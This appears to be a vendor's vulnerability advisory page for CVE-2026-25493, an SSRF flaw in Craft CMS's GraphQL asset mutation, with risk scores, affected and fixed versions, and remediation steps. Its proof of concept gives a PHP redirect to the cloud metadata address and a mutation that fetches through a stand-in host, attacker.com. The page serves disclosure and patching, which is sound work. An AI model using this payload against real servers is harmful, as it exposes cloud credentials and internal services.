NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-25493 — cms

Fix: craftcms/cms@0974055

CVE-2026-25493 is a Server-Side Request Forgery (SSRF) vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below.

Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect

Also known asGHSA-8jr8-7hr4-vhfx
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25493.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk-0.01%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.30%0.60%0.90%0.0%0.4%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected
🐘craftcms/cms🐘craftcms/cms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.


Proof of Concept

  1. Host a redirect script on your server (e.g. redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The application validates attacker.com (passes)
  2. Guzzle follows the redirect to 169.254.169.254
  3. Cloud metadata is saved as an asset

Mitigation

  • Disable redirects.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistcraftcms/cms≥ 5.0.0-RC1&&< 5.8.225.8.22composer require craftcms/cms:^5.8.22
🐘Packagistcraftcms/cms≥ 4.0.0-RC1&&< 4.16.184.16.18composer require craftcms/cms:^4.16.18

Affected Products

1 product · 8 configurations
Application
craft cmscraftcms
> 5.0.0 && < 5.8.22
2 versions
4.0.05.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update craftcms/cms to 5.8.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25493 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/re
O3 Security · Impact-Aware SCA

Is CVE-2026-25493 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-25493: cms SSRF — Fixed in 5.8.22